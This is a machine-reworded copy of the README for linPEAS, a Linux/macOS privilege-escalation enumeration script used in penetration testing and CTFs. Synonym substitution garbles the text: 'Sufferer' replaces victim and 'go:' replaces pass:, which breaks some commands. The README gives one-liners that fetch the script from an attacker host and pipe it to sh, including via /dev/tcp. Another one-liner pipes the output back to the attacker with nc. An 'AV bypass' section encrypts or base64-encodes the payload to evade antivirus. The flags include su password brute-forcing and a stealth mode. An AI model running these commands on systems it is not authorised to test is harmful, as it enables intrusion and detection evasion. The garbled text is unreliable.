PEASS-ng/linPEAS at grasp · carlospolop/PEASS-ng · GitHub

LinPEAS is a script that seek for attainable paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are defined on book.hacktricks.xyz
Test the Native Linux Privilege Escalation guidelines from book.hacktricks.xyz.
MacPEAS
Simply execute linpeas.sh
in a MacOS system and the MacPEAS model will likely be mechanically executed
Fast Begin
Discover the newest variations of all of the scripts and binaries in the releases page.
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/newest/obtain/linpeas.sh | sh
# Native community
sudo python -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Sufferer
# With out curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Sufferer
# Excute from reminiscence and ship output again to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Sufferer
# Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Sufferer
much less -r /dev/shm/linpeas.txt #Learn with colours
# Use a linpeas binary
wget https://github.com/carlospolop/PEASS-ng/releases/newest/obtain/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
# Execute from reminiscence in Penelope session
# From: https://github.com/brightio/penelope
> run peass-ng
Firmware Evaluation
In case you have a firmware and also you need to analyze it with linpeas to seek for passwords or unhealthy configured permissions you will have 2 predominant choices.
- If you happen to can emulate the firmware, simply run linpeas within it:
cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you will have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
- If you happen to can’t emulate the firmware, use the
-f </path/to/folder
param:
# Level to the folder containing the recordsdata you need to analyze
bash /path/to/linpeas.sh -f /path/to/folder
AV bypass
#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass go:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Begin HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass go:AVBypassWithAES | sh #Obtain from the sufferer
#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Begin HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Obtain from the sufferer
Fundamental Info
The purpose of this script is to seek for attainable Privilege Escalation Paths (examined in Debian, CentOS, FreeBSD, OpenBSD and MacOS).
This script would not have any dependency.
It makes use of /bin/sh syntax, so can run in something supporting sh
(and the binaries and parameters used).
By default, linpeas will not write something to disk and will not attempt to login as another consumer utilizing su
.
By default linpeas takes round 4 minutes to finish, however It might take from 5 to 10 minutes to execute all of the checks utilizing -a parameter (Beneficial choice for CTFs):
- From lower than 1 min to 2 minutes to make virtually all of the checks
- Virtually 1 min to seek for attainable passwords inside all of the accesible recordsdata of the system
- 20s/consumer bruteforce with top2000 passwords (want
-a
) – Discover that this verify is tremendous noisy - 1 min to observe the processes with the intention to discover very frequent cron jobs (want
-a
) – Discover that this verify might want to write some information inside a file that will likely be deleted
Fascinating parameters:
- -a (all checks besides regex) – This may execute additionally the verify of processes throughout 1 min, will search extra attainable hashes inside recordsdata, and brute-force every consumer utilizing
su
with the top2000 passwords. - -e (additional enumeration) – This may execute enumeration checkes which might be averted by default
- -r (regex checks) – This may seek for a whole lot of API keys of various platforms within the silesystem
- -s (superfast & stealth) – This may bypass a while consuming checks – Stealth mode (Nothing will likely be written to disk)
- -P (Password) – Move a password that will likely be used with
sudo -l
and bruteforcing different customers - -D (Debug) – Print details about the checks that have not found something and concerning the time every verify took
- -d/-p/-i/-t (Native Community Enumeration) – Linpeas also can uncover and port-scan native networks
This script has a number of lists included within it to have the ability to shade the outcomes with the intention to spotlight PE vector.
Enumerate and search Privilege Escalation vectors.
This software enum and search attainable misconfigurations (recognized vulns, consumer, processes and file permissions, particular file permissions, readable/writable recordsdata, bruteforce different customers(top1000pwds), passwords...) contained in the host and spotlight attainable misconfigurations with colours.
Checks:
-o Solely execute chosen checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Choose a comma separated record.
-s Stealth & sooner (do not verify a while consuming checks)
-e Carry out additional enumeration
-t Computerized community scan & Web conectivity checks - This selection writes to recordsdata
-r Allow Regexes (this could take from some minutes to hours)
-P Point out a password that will likely be used to run 'sudo -l' and to bruteforce different customers accounts by way of 'su'
-D Debug mode
Community recon:
-t Computerized community scan & Web conectivity checks - This selection writes to recordsdata
-d <IP/NETMASK> Uncover hosts utilizing fping or ping. Ex: -d 192.168.0.1/24
-p <PORT(s)> -d <IP/NETMASK> Uncover hosts in search of TCP open ports (by way of nc). By default ports 22,80,443,445,3389 and one other one indicated by you can be scanned (choose 22 if you happen to do not need to add extra). You may also add an inventory of ports. Ex: -d 192.168.0.1/24 -p 53,139
-i <IP> [-p <PORT(s)>] Scan an IP utilizing nc. By default (no -p), top1000 of nmap will likely be scanned, however you'll be able to choose an inventory of ports as an alternative. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
Discover that if you happen to specify some community scan (choices -d/-p/-i however NOT -t), no PE verify will likely be carried out
Port forwarding:
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to ahead a port from a neighborhood IP to a distant IP
Firmware recon:
-f </FOLDER/PATH> Execute linpeas to go looking passwords/file permissions misconfigs inside a folder
Misc:
-h To point out this message
-w Wait execution between huge blocks of checks
-L Power linpeas execution
-M Power macpeas execution
-q Don't present banner
-N Don't use colors
Hosts Discovery and Port Scanning
With LinPEAS you may also uncover hosts mechanically utilizing fping
, ping
and/or nc
, and scan ports utilizing nc
.
LinPEAS will mechanically seek for this binaries in $PATH
and allow you to know if any of them is on the market. In that case you should use LinPEAS to hosts dicovery and/or port scanning.
Colours
Particulars
LinPEAS makes use of colours to point the place does every part start. However it additionally makes use of them the determine potencial misconfigurations.
The Purple/Yellow
shade is used for identifing configurations that result in PE (99% certain).
The Purple shade is used for identifing suspicious configurations that would result in PE:
- Potential exploitable kernel variations
- Susceptible sudo variations
- Establish processes working as root
- Not mounted gadgets
- Harmful fstab permissions
- Writable recordsdata in attention-grabbing directories
- SUID/SGID binaries which have some weak model (it additionally specifies the weak model)
- SUDO binaries that can be utilized to escalate privileges in sudo -l (with out passwd) (https://gtfobins.github.io/)
- Test /and many others/doas.conf
- 127.0.0.1 in netstat
- Recognized recordsdata that would include passwords
- Capabilities in attention-grabbing binaries
- Fascinating capabilities of a binary
- Writable folders and wilcards inside information about cron jobs
- Writables folders in PATH
- Teams that would result in root
- Recordsdata that would accommodates passwords
- Suspicious cronjobs
The Inexperienced shade is used for:
- Frequent processes run by root
- Frequent not attention-grabbing gadgets to mount
- Not harmful fstab permissions
- SUID/SGID frequent binaries (the bin was already present in different machines and searchsploit would not determine any weak model)
- Frequent .sh recordsdata in path
- Frequent names of customers executing processes
- Frequent cronjobs
- Customers with out shell
- Mounted gadgets
One-liner Enumerator
Right here you will have an previous linpe model script in a single line, simply copy and paste it😉
The colour filtering is just not obtainable within the one-liner (the lists are too huge)
This one-liner is deprecated (I am not going to replace it any extra), nevertheless it could possibly be helpful in some instances so it’s going to stay right here.
The default file the place all the info is saved is: /tmp/linPE (you’ll be able to change it firstly of the script)